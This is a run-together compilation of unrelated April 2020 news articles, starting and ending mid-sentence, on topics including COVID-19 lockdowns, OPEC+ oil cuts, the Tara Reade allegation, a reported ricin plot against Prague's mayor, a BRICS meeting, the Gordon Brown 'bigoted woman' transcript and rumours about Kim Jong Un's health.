order and this pandemic," Beard said. I am detrimentally relying on this reduction." Berg submitted his ruling Saturday, April 24, after hearing arguments from all parties during a virtual hearing Thursday. The new information cited by the state and the supplemental declarations filed April 24th do not and would not have changed the courts decision to reduce that signature requirement to 50 percent of the statutory requirement, Berg wrote. The judge also ruled that the state would be unlikely to prevail on appeal in showing the court abused its discretion. Michigans stay-home order went into effect March 24 to slow the spread of COVID-19. It was extended April 9 and April 24 and is now active through May 15. CORONAVIRUS PREVENTION TIPS In addition to washing hands regularly and not touching your face, officials recommend practicing social distancing, assuming anyone may be carrying the virus. Health officials say you should be staying at least 6 feet away from others and working from home, if possible. Carry hand sanitizer with you, and use disinfecting wipes or disinfecting spray cleaners on frequently-touched surfaces in your home ( door handles, faucets, countertops) and when you go into places like stores. Read more on MLive: Michigan pays $3.1M to businesses in alcohol buyback Michigan Gov. Gretchen Whitmer says construction, other outdoor industries could resume work soon, if coronavirus cases continue to fall Michigan sees smallest increase in new coronavirus cases in 5 weeks Tuesday, April 28: Latest developments on coronavirus in Michigan Prince Harry has launched a new initiative in support of U.K. military personnel. (Getty Images) Prince Harry is making good on his promise to honor his duty to the Commonwealth even as he adjusts to his new life in the United States. Nearly a month after he and Meghan Markle officially stepped back from their roles as senior members of the royal family, Harry launched a new philanthropic project Monday in support of the United Kingdom's military community. The online initiative, titled HeadFIT, will provide 24/7 access to mental health resources for military personnel overseas in the form of exercises and counseling. It was developed in partnership with the U.K. Ministry of Defence and King's College London, as well as the Royal Foundation's Heads Together campaign. "I've long believed the military community should lead the way for the rest of society. For too long we have been waiting for problems to arise and then reacting to them," Harry wrote in a statement. "HeadFIT is a proactive approach to mental fitness, focusing on our own potential to increase our performance, using proven methods in sport science." Both veterans, like Harry himself, and those currently serving are eligible for the program, which offers tools for healthy body posture, breathing, self-compassion, problem solving and more. "HeadFIT is a resource for everyone whatever your job, whatever your rank, whatever you've got going on at home," Harry said in a video on the HeadFIT website. "Our service personnel are vital role models in society, and we need you to be able to access that extra 10, maybe 15% something that can only be attained when you adopt a regular routine for training the mind and the body as one single unit. I know this to be true. It works for me." HeadFIT comes on the heels of another, more spontaneous volunteer effort helmed by the Duke and Duchess of Sussex in their new hometown of Los Angeles. Earlier this month, the couple linked up with Project Angel Food to deliver meals to vulnerable residents in West Hollywood amid the coronavirus crisis. The pair has also donated $112,000 in excess profit from their televised 2018 wedding to Feeding Britain's efforts to help communities experiencing food insecurity during the pandemic. Harry and Meghan recently fled Canada for L.A., where they are quarantining with their 11-month-old son, Archie. Oil majors have traditionally escaped big cuts in OPEC nations, such as Nigeria, but this time is different. From Kazakhstan and Azerbaijan to Nigeria and Angola, oil majors are haggling with national governments over how to share out coronavirus-driven production cuts. Those deep cuts are intensifying the pain caused by low oil prices and depressed fuel sales. Oil majors have traditionally escaped big cuts in OPEC nations, such as Nigeria. They have never experienced curbs in countries outside the OPEC cartel, such as Kazakhstan, where they are protected by special clauses agreed to by those governments. But those production sharing agreements (PSA) are being laid aside following a pact between the Organization of the Petroleum Exporting Countries and its allies (OPEC+) to cut production by 23 percent to bolster prices as coronavirus lockdowns reduce global energy demand by a third. Such unprecedented output reductions, effective from May 1, are impossible in most nations without the help of majors. We do expect to see volumes reduce in the second quarter because of the OPEC+ agreement, BPs chief executive Bernard Looney told a conference call on Tuesday, as the London-based company reported a plunge in profit and a spike in debt. During the last oil price crash in 2014-2016, integrated majors, such as BP, suffered a decline in earnings from their upstream or oil production units but were saved by strong downstream results as consumers profited from cheap fuels. This time around is different. BP said it expected significantly lower refining margins in the second quarter when global restrictions on movement to halt the spread of the virus reach their peak, throttling consumption of gasoline, diesel and jet fuel. Add to this, forced production cuts across the world, and majors face a perfect storm. BP, Royal Dutch Shell, Total, and Eni have shown steady output growth in recent years, as they tried to lure investors with solid performance and generous dividends to offset pressure from climate change activists. It is not yet possible to predict exact production cuts as majors, and many governments are still in difficult talks. The cuts, however, could amount to a record-high of hundreds of thousands of barrels per day (bpd) per major. That is the equivalent of 5 -10 percent of their output based on their exposure to OPEC+ nations and activity in the United States along with Canada, where output has also been falling. Analysts from Barclays said BPs first-quarter production was 1 percent below their forecast and down 3 percent year-on-year. Jason Gammel from Jefferies said BPs second-quarter output was poised to be even lower. Week of talks Azerbaijan asked its leading giant offshore consortium to cut output by 80,000 barrels per day, resulting in a net cut for operator BP of around 30,000 bpd. We have never done it before since they came to the country in 1994, a senior Azeri official told Reuters. Looney said BP was also in talks with Russia, where it holds 20 percent in oil major Rosneft, and with Angola and in the Middle East. In Kazakhstan, ExxonMobil, Chevron, Eni, Total and Shell have all been in talks with the government over cuts at three giant projects Kashagan, Karachaganak, and Tengiz, five industry sources said. The majors produce 60 percent of Kazakhstans output of 1.7 million bpd, making it impossible for the country to meet its OPEC+ cut quota of 390,000 bpd without the majors. Kazakh authorities hired lawyers and have been trying to figure out how to force PSA projects to cut. Its been two weeks of non-stop talks, a source familiar with the talks said. In Nigeria, Shell and other majors are also holding talks with national oil firm NNPC on reducing onshore and offshore production, according to seven trading sources. Nigeria and other West African exporters have no choice now but to cut down on shipments, one trading source told Reuters News Agency, citing poor demand and loss-making prices. Shell and Total will have to share the burden of the 285,000 bpd cut by Oman while Iraq is still talking to majors, such as Exxon and BP, on the exact split of its 1 million bpd cut. Beyond OPEC+, more than 600,000 bpd of cuts have already been announced in the US, some 300,000 bpd in Canada, and 200,000 bpd in Brazil areas where majors are also active. A former neighbor of Tara Reade, the one-time Senate aide who in March accused Joe Biden of sexually assaulting her in 1993, corroborates the allegation, according to a recent report. Reade, one of several women who last year accused Biden of uncomfortable kissing, hugging or touching, made the assault claim during a podcast interview last month. The New York Times reported that Reade had filed a police report on the alleged assault in early April. The newspaper spoke with a friend of Reades who said she shared details of the incident at the time, as well as another friend and a brother of Reades who said she told them over the years about an incident involving Biden. The Biden campaign says the accusation is false. A next-door neighbor of Reades in the mid-1990s, Lynda LaCasse, recently told Business Insider that, This happened, and I know it did because I remember talking about it." "I have to support her just because thats what happened, LaCasse added. We need to stand up and tell the truth. LaCasse, a Democrat, told Business Insider she has no ax to grind against Biden, whom she intends to vote for in November. But still I have to come out and say this," she said. Another woman, Lorraine Sanchez, who worked alongside Reade for a California state senator in the 1990s, told Business Insider that she remembered Reade saying her former boss in the nations capital had sexually harassed her, and that she was fired in retaliation. In several interviews, Reade has said she complained to top Biden staffers about his behavior around her, which allegedly included looks and touching that made her uncomfortable. She said she received no response and was fired, prompting a harassment complaint with a Senate human resources office. In the report filed with Washington, D.C., police, Reade alleged Biden pinned her against a wall, kissed her and placed his hand under her skirt. Reade said he propositioned her but stopped after she pulled away. The Times said it interviewed almost two dozen Biden staffers during the 1990s, including many who worked alongside Reade, with several saying they did not recall any discussion of the incident or similar behavior by Biden toward her or other women. Kate Bedingfield, a deputy campaign manager for Biden, said in a previous statement that the former vice president had dedicated his public life to changing the culture and the laws around violence against women," including his writing and push for passage of the Violence Against Women Act. "He firmly believes that women have a right to be heard and heard respectfully, she said. "Such claims should also be diligently reviewed by an independent press. What is clear about this claim: It is untrue. This absolutely did not happen. News of two on-the-record sources corroborating Reades accusations come a week after video surfaced of CNNs Larry King receiving a call from a woman Reade says is her mother. The caller seeks advice for what a staffer can do besides go to the press, because her daughter wasnt getting anywhere with concerns through the senators office, according to the video. Reade had mentioned in interviews with The Intercept that her mother had called Larry King Live about the incident; the Intercept reported that the call occurred in August 1993, the month Reade left the senators office. The Congress accused the BJP-JJP government in Haryana on Tuesday of betraying the state's farmers by "dilly-dallying" on the issue of wheat procurement. The state government has amended its decisions with regards to crop procurement six times in a short span, the main opposition party claimed. "They made six U-turns in a period of nine days which reflects the anti-farmer mindset as also a designed conspiracy not to procure wheat crop at the minimum support price of Rs 1,925 per quintal," Congress chief spokesperson Randeep Singh Surjewala told reporters via video-conferencing. He claimed that the "frequent changing of decisions and the new diktats have brought the wheat procurement system to the brink of ruin. "Till April 27, only 21.60 lakh metric tonnes of wheat have been procured, as against 91 lakh metric tonnes during the corresponding period of 2019," Surjewala said. He said farmers were already facing a lot of hardship and now an order has been issued under which "crop procurement will not take place for a day on April 29 at the procurement centres in the state". Surjewala further said the government last month had promised to give Rs 50 to Rs 125 per quintal bonus on wheat to farmers, but chose to remain silent when procurement began on April 20. "In another U-turn, the Arhitiyas or commission agents were first asked to open new accounts in seven private banks, a decision which they withdrew later. Earlier, the government had said procurement will be made through gram panchayats, a decision which was also reversed later," he added. The Congress leader referred to an April 27 order of the state government regarding wheat procurement and said the chief administrator, Haryana State Agricultural Marketing Board, had directed all the 'mandis' or grain market secretaries "to ensure that the payment should be given directly into the farmer's bank account by the procurement agencies". Earlier, the government had said that it will make payment to 'Arhitiyas', who will then pay the farmers. Replying to a question, he said there is a systematic conspiracy on the part of the state government in defeating the system of procurement. "Their intent seems to harass the farmers as also the commission agents and the labourers so much that at the end of the day, the farmer is constrained to sell the wheat crop under distressful conditions at prices much lower than the MSP. "What else explains that in nine days, they have to change their stance on six different occasions? The only reason is there is mal-intent on part of the Khattar government in procuring the wheat crop. "They want to leave the farmers at the mercy of market forces to ensure that MSP does not have to be given and the wheat crop is left for distress sale by the farmer at the mercy of certain middlemen," Surjewala alleged. Replying to a question, he said Chief Minister Khattar had not visited a single mandi or grain market while his deputy, Dushyant Chautala, visited only couple of them to take stock of arrangements. On accusations levelled against him of violating social distancing norms during his visit to the 'mandis', Surjewala said he always followed the norms and even wore a mask. At the same time, he said, "Every leader be that of the ruling or the opposition party has a right to listen to problems and highlight them. Yes, social distancing and wearing masks is a must. But they (ruling party leaders) will not go themselves and not let others go lest their shortcomings are highlighted. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Russian diplomats called it an 'unfriendly' and 'unhinged' act of vandalism The mayor of Prague has been put under police protection amid fears of an assassination plot after reports claimed a Russian had entered the Czech Republic with ricin in his briefcase. Zdenek Hrib confirmed the protection but did not comment on claims in a Czech magazine that a Russian agent using a diplomatic passport had recently arrived in Prague carrying the poison that can be used as a biological weapon. Respekt weekly had claimed that Czech intelligence services suspected the agent was sent to Prague three weeks ago to poison Hrib and Prague 6 district's Mayor Ondrej Kolar. Moscow has furiously denied the claims. The mayor clashed with Moscow earlier this month after he oversaw the removal of a controversial Cold War-era statue dedicated to Soviet general Ivan Konev. Russian diplomats called it an 'unfriendly' act of vandalism by unhinged municipal representatives but many Czechs see Konev as a symbol of Soviet-era oppression. In February, Hrib also unveiled the new nameplate of a square in front of the Russian Embassy in Prague which was renamed after slain Russian opposition leader Boris Nemtsov. Mayor of Prague Zdenek Hrib has been put under police protection over fears he could be assassinated after he removed a statue of Soviet war hero. Pictured: Hrib in January The ricin claim, furiously denied by Moscow, was made in the Czech weekly news magazine Respekt. It said that Czech intelligence services suspected a Russian agent was sent to Prague three weeks ago to poison Hrib and Ondrej Kolar - Prague 6 district's Mayor. According to the Czech Denik N newspaper, 'this information was one of the subjects raised by the Czech foreign minister (Tomas Petricek) with the Russian ambassador Alexander Zmeyevsky, who was warned not to take any actions against Czech politicians'. Czech police and government officials refused to comment on the matter. Kremlin spokesman Dmitry Peskov, speaking to reporters in Moscow on Monday, said the claims made in the Respekt report were 'misinformation'. The Russian embassy in Prague formally protested to the Czech Foreign Ministry over the report. Hrib clashed with Moscow earlier this month after he oversaw the removal of a controversial Cold War-era statue dedicated to Soviet general Ivan Konev Russian diplomats called it an 'unfriendly' act of 'vandalism by unhinged municipal representatives but many Czechs see Konev as a symbol of Soviet-era oppression 'The allegations in the story are absolutely baseless' and designed to 'discredit' Russia, an embassy statement said. On Monday, Hrib told The Times he could not comment on the poison plot 'due to a decision of the police.' He added: 'If the Russian agency is trying to kill me with ricin or novichok or polonium, its a thing that I cannot really comment on right now.' Known for his pro-Russian stance, Czech President Milos Zeman criticised the removal of the Konev statue as a 'ridiculous and miserable' gesture. The Czech foreign ministry has raised the possibility of sending the Konev statue to Russia, according to Czech media reports. General Konev led the Soviet Red Army troops that liberated Prague from the Nazis in 1945, but he was also in charge of Operation Whirlwind, which crushed the anti-Soviet Hungarian Uprising of 1956. Konev, who died in 1973, also played a role in the 1968 Soviet-led crackdown on the Prague Spring, a democratic movement in then-Czechoslovakia. In February, Hrib also unveiled the new nameplate of a square in front of the Russian Embassy in Prague which was renamed after slain Russian opposition leader Boris Nemtsov. Pictured: Hrib stands alongside the daughter of Nemtsov, Zhanna, during the renaming ceremony Nemtsov was shot dead as he walked across a bridge with his girlfriend in Moscow in 2015. The 55-year-old former deputy prime minister was gunned down on Great Moskvoretsky Bridge in a 'politically motivated' attack which sparked outrage and public mourning. Footage of the killing surfaced, with Russian media reports claiming the killer emerged on foot after loitering on the bridge waiting for Mr Nemtsov. Nemtsov, pictured, was shot dead as he walked across a bridge in Moscow in 2015 Critics had attributed blame for the murder to Russian resident Vladimir Putin, claiming his government feared that an incriminating report Mr Nemtsov had been working on would be made public. The findings were said to present evidence linking Putin's regime to the ongoing conflict in Ukraine. A Muslim cleric has tested positive for the deadly coronavirus after he conducted Ramzan prayers for a group of nearly two dozen people at a local mosque in southwest Bangladesh, according to a media report. The cleric led the prayers at a mosque in Adadanga village in Magura district on Saturday and was found to be infected with the disease the following day, bdnews24 reported. According to the report, authorities are making a list of around 20-25 people who attended the prayers and they will be tested for any symptom of the virus. Tanveer Rahman, chief executive officer of Shalikha sub district, was quoted as saying in the report that the cleric's Bagharpara Pashchima village, which is one-and-a-half kilometres from the mosque, has been put under lockdown following the discovery. Bangladesh reported 5,416 confirmed COVID-19 cases and 145 deaths till Sunday. The country had on April 6 suspended prayers for the public at mosques in a bid to stop the spread of the virus. The Ministry of Religious Affairs issued an emergency notice restricting the congregation in mosques and urging the public to pray at home. The notice also said that a maximum of 10 people can attend the weekly Friday prayers in mosques. The government also restricted visits to other places of worship. Bangladesh has decided to extend the nationwide COVID-19 shutdown until May 5 amid warnings of heightening risks of coronavirus infections in the country, including among doctors and healthcare workers. To curb the spread of the novel coronavirus, the government had initially declared a general holiday on March 26 for 10 days. Later, that was gradually extended till April 25 as the country kept seeing a rise in the number of cases and deaths from COVID-19. Source: Xinhua| 2020-04-29 01:02:34|Editor: huaxia Video Player Close Combo photo shows Chinese State Councilor and Foreign Minister Wang Yi attending the BRICS Foreign Ministers' Extraordinary Conference on COVID-19 via video link in Beijing, capital of China, April 28, 2020. (Xinhua/Pang Xinglei) BEIJING, April 28 (Xinhua) -- BRICS countries Tuesday evening agreed to enhance collaboration in fighting against the COVID-19 pandemic. The consensus was reached during the BRICS Foreign Ministers' Extraordinary Conference on COVID-19 via video link, which was chaired by Russian Foreign Minister Sergei Lavrov and gathered Chinese Foreign Minister Wang Yi, Brazilian Foreign Minister Ernesto Araujo, Indian External Affairs Minister S. Jaishankar and South Africa's Minister of International Relations and Cooperation Naledi Pandor. Wang, who is also a state councilor, called on BRICS countries to "make the right call and do the right thing," as COVID-19 has put lives and health of people around the world under grave threat. "We need to champion multilateralism and the approach of consultation and cooperation for shared benefits in governance," Wang said. He encouraged countries to enhance coordination on macro economic policies and sustain coordination to keep up secure and smooth functioning of global industrial and supply chains. Going forward, China is ready to step up the sharing of information and experience with BRICS countries and conduct joint research and development of drugs and vaccines on the basis of respecting each other's sovereignty and national conditions, said Wang. The BRICS countries, including Brazil, Russia, India, China and South Africa, must support UN bodies in playing their due roles in fighting COVID-19, he stressed. He also voiced China's support in Russia's chairmanship and its initiative to formulate a Strategy for BRICS Economic Partnership 2025. During the meeting, the foreign ministers had an in-depth exchange of views on safeguarding multilateralism, fighting against COVID-19, and advancing BRICS cooperation. They agreed to intensify information and experience sharing, push ahead collaboration in research of drugs and vaccines, contribute to global public health security, and minimize negative effects of the pandemic. Enditem Here is the full transcript of the exchange between Gordon Brown and Gillian Duffy Gillian Duffy: My family have voted Labour all their lives. My father, even, when he was in his teens, went to Free Trade Hall to sing The Red Flag. And now Im absolutely ashamed of saying Im Labour. Gordon Brown: Now, you mustnt be, because, what have we done? Weve improved the health service, were financing more police, neighbourhood policing, we are getting better schools, and we are coming through a very, very difficult world recession. You know what my views are. Im for fairness, for hard-working families. I want to make sure Ive told these guys across there if you commit a crime youre going to be punished. You better stop. GD: I dont think its happening in Rochdale... GB: We have a bit more policing than there were but obviously we are going to do better in the future with neighbourhood policing, but neighbourhood policing is the key to it. Youre a very good woman, youve served your community all your life. GD: I have, Ive worked for the Rochdale council for 30 years, and I worked with children and handicapped children. GB: Well, I think working with children is so important, so important, isnt it? Have you been in some of the childrens centres? GD: The thing that I cant understand is why am I still being taxed at 66 years old because my husbands died and I had some of his pension tagged on to mine? GB: Well, we are raising the threshold at which people start paying tax as pensioners. But yes, if youve got an occupational pension you may have to pay some tax but you may be eligible for the pension credit as well, you should check. GD: No, no Im not. Ive checked and checked and they said no, they cant do it. GB: Well, you should look at it again just to be sure, absolutely sure. GD: Yes, yes, theyve told me. Ive been down to Rochdale council to try and get it off my tax. GB: You know were linking the pension to earnings in two years time, weve got the winter allowance, as you know, which I hope is a benefit. GD: I agree with that, its very good, but every year I talk to people my age and they say theyll be knocking it off, it will be going. It will be. GB: Were keeping it. We have done the bus passes, we have done the free eye tests, free prescriptions. GD: But how are you going to get us out of all this debt, Gordon? GB: Because we have got a deficit reduction plan to cut the debt in half over the next four years. Weve got the plans, theyve been set out today. Look, I was a person who came in... GD: The three main things what I had drummed in when I was a child was education, health service and looking after people who are vulnerable. But theres too many people now who arent vulnerable but they can claim, and people who are vulnerable cant claim, cant get it. GB: But they shouldnt be doing that, there is no life on the dole for people any more. If you are unemployed youve got to go back to work. Its six months... GD: You cant say anything about the immigrants because youre saying that youre... but all these eastern Europeans what are coming in, where are they flocking from? GB: A million people have come from Europe but a million British people have gone into Europe. You do know that theres a lot of British people staying in Europe as well. Look, come back to what were your initial principles: helping people thats what were in the business of doing. A decent health service, thats really important, and education. Now these are the things that we have tried to do. Were going to maintain the schools so that we can make sure that people have that chance to get on. Were going to maintain the health service so that... GD: And what are you going to do about students who are coming in then, all this that you have to pay, youve scrapped that, Gordon. GB: Which one? GD: To help people who go to university. GB: Tuition fees? GD: Yes. GB: Yeah, but look, weve got... GD: Im thinking about my grandchildren here. What will they have to pay to get into university? GB: Youve got 40 per cent of young people now going to university, more than ever, so youve got to have some balance. If you get a degree and you earn twice as much after you get the degree then youve got to pay something back as a contribution. But there are grants for your grandchildren, there are grants, more grants than ever before. You know, more young people are going to university than ever before, and for the first year the majority of people going to university are women so theres big opportunities for women. So, education, health and helping people, thats what Im about. Thats what Im about. GD: Well, congratulations, and I hope you can keep it up. GB: Its been very good to meet you, and youre wearing the right colour today. How many grandchildren do you have? GD: Two. Theyve just come back from Australia where theyve been stuck for nine, 10 days with this ash crisis. GB: But they got through now? Yeah weve been trying to get people back quickly. But are they going to go to university? Thats the plan? GD: I hope so. Theyre only 12 and 10. GB: Oh, theyre only 12 and 10? But theyre doing well at school? GD: Yeah yeah, very good. GB: A good family. Good to see you. GD: Yeah. And the education system in Rochdale I will congratulate it. GB: Good. And its very nice to see you. Take care. Good to see you all. Thanks very much. Gordon Brown gets in car. GB: That was a disaster... should never have put me with that woman. Whose idea was that? Aide: I dont know, I didnt see her. GB: Sue [Nye]s, I think. Just ridiculous. Aide: Not sure that theyll go with that one. GB: They will go with that one. Aide: What did she say? GB: Everything, she was just a sort of bigoted woman who said she used to be Labour. This article was originally published in April 2010 Dr Alex George's girlfriend Amelia Bath shared a sweet snap on Tuesday as she pined for the medic while he works on the NHS frontline amid the COVID-19 crisis. Dancer Amelia, 25, revealed she hadn't seen the Love Island star, 30, in five weeks as he tends to patients at University Hospital Lewisham where he works as an A&E doctor. The beauty shared a smitten throwback selfie of the couple looking loved-up with a jokey caption. Miss you: Dr Alex George's girlfriend Amelia Bath shared a sweet snap on Tuesday as she pined for the medic while he works on the NHS frontline amid the COVID-19 crisis She wrote: 'Ive been eating an apple a day and I havent seen the doctor in over 5 weeks. It seems to be working.' The photo was quickly liked by Dr Alex, who jokingly wrote back: 'Cold.' The couple first met in a bar in December 2018 and their romance has gone from strength to strength since. Hero: Dancer Amelia, 25, revealed she hadn't seen the Love Island star, 30, in five weeks as he tends to patients at University Hospital Lewisham where he works as an A&E doctor The photo comes after Dr Alex revealed he's broken lockdown rules by inviting his 'homeless' friends to live with him amid the coronavirus pandemic. The reality star admitted he was left with no other choice than to let his pals temporarily reside with him. In an Instagram post shared on Monday, the healthcare professional reassured his fans he and his new housemates are still following the UK government's social distancing advice by using different bathrooms. 'It was a no brainer': The photo comes after Dr Alex revealed he's broken lockdown rules by inviting his 'homeless' friends to live with him amid the coronavirus pandemic 'Hey guys, I had to have two of my friends move into the house temporarily, they had issues with their accomodation', the media personality shared. Standing by his decision to protect his loved ones, the reality star added: 'They have been self-isolating for a month. It's not an ideal situation but I'm not going to leave my friends out on the street so it's a no brainer.' The TV star confessed that while they'll be using separate amenities, he enjoys having someone at his new home after spending weeks alone. Alex explained: 'In a weird way it's nice to know there's someone in the house even though we're separated. Kind-hearted: The healthcare professional admitted he was left with no other choice than to let his pals temporarily reside with him 'For my mental health it's been very difficult for the last few weeks and months, so knowing someone's there is kind of nice. Sometimes you have to make the best of what you can do.' The UK is in its sixth week of strict social distancing measures due to the coronavirus pandemic, which has claimed over 21,000 lives in the nation. Earlier this month, the Welshman has admitted he's struggling living apart from his girlfriend Amelia. In a clip shared to his YouTube channel, Alex confessed he's 'tired' following his 'busy shift', and just 'wants to go home and chat' to the Ibiza Weekender star, 25, who he credited for helping him 'relax'. Precautions: The healthcare professional reassured his fans he and his new housemates are still following the UK government's social distancing advice by using different bathrooms 'It's been very difficult for my mental health': The TV star confessed that while they'll be using separate amenities, he enjoys having someone at his new home after spending weeks alone Leaving University Hospital Lewisham in the early hours, the brave medical expert shared: 'My shift is now finished and I am just heading home. Its been again a busy shift I know I keep saying this but it is the truth. I am feeling alright, I am tired. 'One of the challenges is that I am away from my girlfriend, I made the decision that I didnt want to risk giving it to her or her family, so I am up in London staying on my own isolating and she is staying elsewhere so I dont give it to her. 'That is difficult when you have a busy shift like today you want to go home and sit and chat with someone and just hang out with someone to relax after what happened, its hard when you cant and you are on your own.' Selfless: The brave medical expert has been documenting his shifts on social media Revealing the pair have been communicating via video message and call services, he added: 'Technology is good, being able to FaceTime and chat to people. 'I try and share as much of my experience as I can because it does help, even doing these videos as well, telling you guys how I feel and what I am doing does help me get through a challenging time.' The couple, who met in a bar, have been going strong since December 2018, a few months after his stint on ITV2 dating series Love Island. More than 2,000 transgender persons wrote to Union ministries of home, finance and social justice on Tuesday, seeking a special package for the community which has no permanent sources of income and is as vulnerable as daily wagers amid the lockdown. They requested the government to provide an assured subsistence of at least Rs 3,000 per month to every transgender person, until the situation returns to normalcy. This is necessary considering the fact that most trans persons do not have ration cards, no pension is provided in most states and many transgender persons live in rented accommodations, their letter to the ministries said. They also urged the government to universalise the Public Distribution System to ensure food security to all needy citizens, including transgender persons. Issue an order mandating that no transgender person shall be forced to pay rent or face eviction by their house owners for non-payment of rent during the lockdown, the letter read. A majority of transgender persons live in conditions of abject poverty, social exclusion and eke out a livelihood primarily through begging and sex work, both of which are avenues of work that entail public presence and physical contact. With physical distancing having been mandated (and rightly so to prevent furthering of virus), transgender persons have been weaned away from our only source of work. With no permanent sources of income, our condition is as vulnerable as daily wage earners, the letter stated. The community representatives also urged the government to ensure uninterrupted supply of all essential medication to transgender persons, including ART medicine, tuberculosis care and treatment, hormone therapy and other gender-affirming procedures. They welcomed the National Institute of Social Defense (NISD) for making an interim arrangement of provision of Rs 1,500 to around 4,500 transgender persons from different states, but said it covered less than 1 per cent of the overall national transgender population, going by the conservative estimates of Census 2011. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) New Delhi, April 28 : Reiterating its demand for an economic package for the trading community, the Confederation of All India Traders (CAIT) on Tuesday said that it is high time for the announcement of relief measures for them. In a statement, CAIT said that it has written to Finance Minister Nirmala Sitharaman, saying that the government has announced several packages of other sections of economy but the trading community is still awaiting a package. It stressed that if an adequate package is not given to traders, the domestic trade in the country is likely to collapse to a large extent, adding that since the retail sector is the largest employment provider after agriculture, it is all the more necessary to provide relief to this sector. According to CAIT National President B.C. Bhartia and Secretary General Praveen Khandelwal, it is a matter of satisfaction that about 45 lakh traders across the country played a crucial role in maintaining supply chain of essential commodities quite effectively and there was no shortage of any material all over the country. "The traders put their lives at risk and served the citizens of India and as such have a right to ask the government to provide an economic stimulus package. They said that if no package is given to traders, the retail trade business in India will see its worst days and in all likelihood, a large number of traders will land themselves into bankruptcy," a CAIT statement said. CAIT further said that traders were expecting that a package by the government will be given to traders around April 14 and as of now, there is no word about the package which is worrying the traders. Share this article Whatsapp Facebook Twitter Linkedin Apriadi Gunawan (The Jakarta Post) Medan, North Sumatra Tue, April 28, 2020 17:26 624 fc6853813033f564188675f8bd4c3a60 1 National pig,African-swine-fever-in-Indonesia,Nias,Nias-Island,kepulauan-nias,flu-babi,death Free The Medan Veterinary Center in North Sumatra has dispatched a team to probe the recent death of hundreds of pigs in the regencies of Nias and South Nias. The office's head, Agustia, said Tuesday that sudden deaths of the animals had constantly been reported in the past month. "Between 300 and 400 pigs have died in the two regions within the last month. It's a quite big number," said Agustia. She said the team had secured blood samples of the dead livestock to be tested at its laboratory, which would require around seven to 14 days. "With that, we can eventually find out whether the death was caused by the African swine fever [ASF] or other factors," she added. ASF had killed thousands of pigs across North Sumatra between the end of last year and the beginning of this year, but Agustina claimed that Nias Island was relatively safe from the outbreak. No sudden deaths of pigs were reported in the region at that time. Read also: ASF outbreak only hit, killing pigs in North Sumatra: Minister The South Nias Agriculture Agency confirmed separately that thousands of pigs in the particular region had died of unknown causes recently. Up to 3,000 pigs died in Susua district alone, and another 670 in Mazo district. "The residents feel troubled by the incident. They think that the pigs have died of hog cholera [or classical swine fever] but that has yet to be proven," the agency's head, Norododo Sarumaha, said. At least 42,000 pigs have died of ASF in 18 regions in North Sumatra in the past few months. The regions affected include Deli Serdang, Karo, Medan, North Tapanuli, Samosir and Simalungun. North Sumatra Food Security and Animal Husbandry Agency head Azhar Harahap said previously that the administration had taken steps to prevent any future outbreaks, such as stepping up biosecurity measures by making it mandatory for pig breeders to clean pig enclosures with standardized disinfectants. The first ASF outbreak occurred in China in 2018, he explained. The virus later spread to Hong Kong, the Philippines and Timor Leste. The outbreak in North Sumatra began in October last year, he added. (vny) Mayor Pete Saenz has issued the following statement regarding Governor Greg Abbotts announcement yesterday to reopen the State of Texas in phases: The City of Laredo will comply, to the extent required, with Governor Greg Abbotts order announced yesterday as part of the effort to gradually reopen Texas. We are also working with our public health and infectious disease experts to mitigate the impact of COVID-19 in our community. The restrictions on public gatherings are made to safeguard public health while we work on treating infected persons and further stopping the spread of the disease. I understand the concern about damage being done to our economy. But the health and safety of ALL citizens must be valued above all else. We must be mindful of Laredos uniqueness in being a border city with Mexico and we must also be cognizant of the ongoing battle that we and our neighbor to the south have been fighting against COVID-19. We all want this crisis to be over quickly, but we must act cautiously by following the science and the advice of our public health experts. Reopening too quickly risks a second wave of infections and jeopardizes the advances we have made to contain the virus. Our community is as strong as the level of how well we follow common sense prevention practices; and, more importantly, the level of our current medical care capacity. As you may know, recently our health care capacity has been compromised by the onslaught of positive cases within our hospitals and medical providers. God forbid we have a spike in cases after we open up certain sectors of the economy on Friday. In the event our local health matters should worsen as a result of spikes in COVID-19 infections, I expect the Governor and the State to provide all necessary resources to help local governments deal with this pandemic. We have made several requests for assistance to the state and have yet to receive it. Our city, just like every other in the state, is in dire need of more testing kits and supplies. While the Governors order does supersede all local orders, we continue to recommend the use of face coverings and to stay home, if possible, unless you must leave for an essential trip. It is important to maintain good nutrition, hygiene, and mental and physical health. Take a walk or run on our trails, but do not congregate in groups. The risk is still as real as ever and we cannot let our guard down at this time. Stay healthy and stay safe, Laredo. Many people are asking where North Korean leader Kim Jong Un could be. The secretive leader has not been seen in public for more than two weeks. As a result, rumors are spreading about whether something happened to him. The United States and its allies, including South Korea and Japan, closely watch the health of North Koreas leaders. That is because the country controls nuclear weapons which the government has repeatedly threatened to use. Some reports say Kim has injured his lower leg. Others say he has kidney problems or that he had an unsuccessful heart operation. Some say he is staying separated to avoid the new coronavirus. There even is a report that he was injured in a failed missile test. Rumors are also spreading about Kims current condition. Some reports have said he is in a vegetative state or is dead. Other reports say there is nothing wrong with his health. Explosion of rumors The rumors began after Kim Jong Un failed to attend the birthday observance of his grandfather, Kim Il Sung. The day, April 15, is very important in North Koreas culture of respect for and obedience to the ruling family. After that, The Daily NK, a website based in Seoul, reported that Kim had had a heart operation. It said Kim reportedly was having health problems caused by smoking and his weight. The same day, the American cable news channel CNN reported that Kim was in grave danger after a medical operation. North Korea remains quiet North Korea has not answered the rumors. State operated media have said that the leader is carrying out business as usual. But no recent pictures of Kim have been published. Rachel Minyoung Lee, a North Korea expert based in Seoul, said North Koreas latest actions are not new. North Korea does not react to rumors about the leaders health, Lee said. For example, in 2014, Kim was not seen in public for 41 days. North Korea did not issue any official reaction at the time, or in 2009 when [Kims father] Kim Jong Il was out for 51 days, she noted. Kim reappeared in 2014 using a cane for support. North Korean media said only that he had experienced discomfort but did not give details. Little information available South Korea has not supported reports about Kim being in poor health. On Monday, South Korean Unification Minister Kim Yeon-Chul said South Koreas intelligence can say there is no unusual movements in the North. An adviser to South Korean President Moon Jae-in recently said, Kim Jong Un is alive and well. He has been in the Wonsan area since April 13. Satellite pictures from last week showed that Kim Jong Uns special train was in the Wonsan area. Reports also have appeared that China recently sent a group of medical professionals to North Korea to advise Kim. However, Chinas foreign ministry said Monday that it had no information to offer on Kim. Additional reports say there has been an increase in the buying of cleaning supplies and imported foods in North Korea. The increase began on April 20, a person in the North Korean capital Pyongyang told VOA. However, the person said the buying might have been connected to an extended coronavirus lockdown. North Korea was the first nation to close its borders 